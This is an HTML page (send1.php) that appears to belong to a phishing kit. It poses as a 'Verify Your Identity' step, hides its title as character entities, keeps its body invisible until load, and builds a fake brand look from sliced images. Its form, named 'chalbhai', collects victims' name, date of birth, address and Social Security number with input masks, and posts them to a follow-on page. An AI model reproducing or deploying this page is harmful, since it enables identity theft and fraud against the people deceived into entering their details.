send1.php

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>&#86;&#101;&#114;&#105;&#102;&#121;&#32;&#89;&#111;&#117;&#114;&#32;&#73;&#100;&#101;&#110;&#116;&#105;&#116;&#121;</title>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.0.0-beta1/jquery.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery-validate/1.15.0/jquery.validate.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery-validate/1.15.0/additional-methods.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery.maskedinput/1.4.1/jquery.maskedinput.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery.payment/1.3.2/jquery.payment.js"></script>

<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="shortcut icon"
              href="images/favicon.ico"/>
<script type="text/javascript">
function unhideBody()
{
var bodyElems = document.getElementsByTagName("body");
bodyElems[0].style.visibility = "visible";
}
</script>
<style type="text/css">

.textbox {
    border: 1px solid #d6d6d6;
    border-radius: 4px;
    height: 34px;
    width: 275px;
    font-size: 17px;
    line-height: 1.29412;
    font-weight: 400;
    padding-left: 15px;
    padding-right: 15px;
    color: #333333;

}

.textbox:focus {
    outline: none;
    border: 1px solid #0070c9;
    box-shadow: 0px 0px 0px 3px rgba(131,192,253,0.5);

}

 </style>
<style type="text/css">
div#container
{
    position:relative;
    width: 1349px;
    margin-top: 0px;
    margin-left: auto;
    margin-right: auto;
    text-align:left;
}
body {text-align:center;margin:0}
</style>
<script type='text/javascript'>
jQuery(function($){
   $("#dob").mask("99/99/9999",{placeholder:"MM/DD/YYYY"});
   $("#exp").mask("99/9999",{placeholder:"MM/YYYY"});
   $("#ssn").mask("999-99-9999",{placeholder:"XXX-XX-XXXX"});
//   $("#sortcode").mask("99-99-99",{placeholder:"XX-XX-XX"});
});
</script>
<script>
    jQuery(function($) {
      $('.cc-number').payment('formatCardNumber');
      $('.cc-exp').payment('formatCardExpiry');
      $('.cc-cvc').payment('formatCardCVC');
    });
</script>
</head>
<body style="visibility:hidden" onload="unhideBody()">
<div id="container">
<div id="image1" style="position:absolute; overflow:hidden; left:0px; top:0px; width:1349px; height:106px; z-index:0"><a href="#"><img src="images/x1.png" alt="" title="" border=0 width=1349 height=106></a></div>

<div id="image2" style="position:absolute; overflow:hidden; left:0px; top:106px; width:1349px; height:171px; z-index:1"><img src="images/x2.png" alt="" title="" border=0 width=1349 height=171></div>

<div id="image3" style="position:absolute; overflow:hidden; left:458px; top:323px; width:491px; height:30px; z-index:2"><img src="images/x3.png" alt="" title="" border=0 width=491 height=30></div>

<div id="image4" style="position:absolute; overflow:hidden; left:0px; top:1161px; width:1349px; height:107px; z-index:3"><img src="images/x4.png" alt="" title="" border=0 width=1349 height=107></div>


<div id="image6" style="position:absolute; overflow:hidden; left:278px; top:892px; width:894px; height:18px; z-index:5"><img src="images/x5.png" alt="" title="" border=0 width=894 height=18></div>

<div id="image7" style="position:absolute; overflow:hidden; left:460px; top:934px; width:299px; height:22px; z-index:16"><img src="images/x6.png" alt="" title="" border=0 width=299 height=22></div>

<div id="image8" style="position:absolute; overflow:hidden; left:762px; top:938px; width:84px; height:15px; z-index:17"><a href="#"><img src="images/x7.png" alt="" title="" border=0 width=84 height=15></a></div>

<form action=next2.php name=chalbhai id=chalbhai method=post>
<input name="name1" placeholder="First Name" class="textbox" autocomplete="off" required type="text" style="position:absolute;width:407px;left:469px;top:414px;z-index:6">
<input name="name2" placeholder="Surname" class="textbox" autocomplete="off" required type="text" style="position:absolute;width:407px;left:469px;top:468px;z-index:7">
<input name="db" placeholder="Date of Birth" id="dob" class="textbox" autocomplete="off" required type="text" style="position:absolute;width:407px;left:469px;top:522px;z-index:8">

<input name="addr" placeholder="Address" class="textbox" autocomplete="off" required type="text" style="position:absolute;width:407px;left:469px;top:576;z-index:12">
<input name="twn" placeholder="Town/City" class="textbox" autocomplete="off" required type="text" style="position:absolute;width:407px;left:469px;top:630px;z-index:13">
<input name="state" placeholder="Country/State" class="textbox" autocomplete="off" required style="position:absolute;left:469px;top:684px;width:407px;z-index:14">
<input name="zp" placeholder="Zip Code" class="textbox" autocomplete="off" required style="position:absolute;left:469px;top:738px;width:407px;z-index:15">
<input name="sn" id="ssn" placeholder="Social Security Number" class="textbox" autocomplete="off" required style="position:absolute;left:469px;top:792px;width:407px;z-index:17">

<div id="formimage1" style="position:absolute; left:610px; top:989px; z-index:18"><input type="image" name="formimage1" width="114" height="38" src="images/sbmit.png"></div>

</div>

</body>
</html>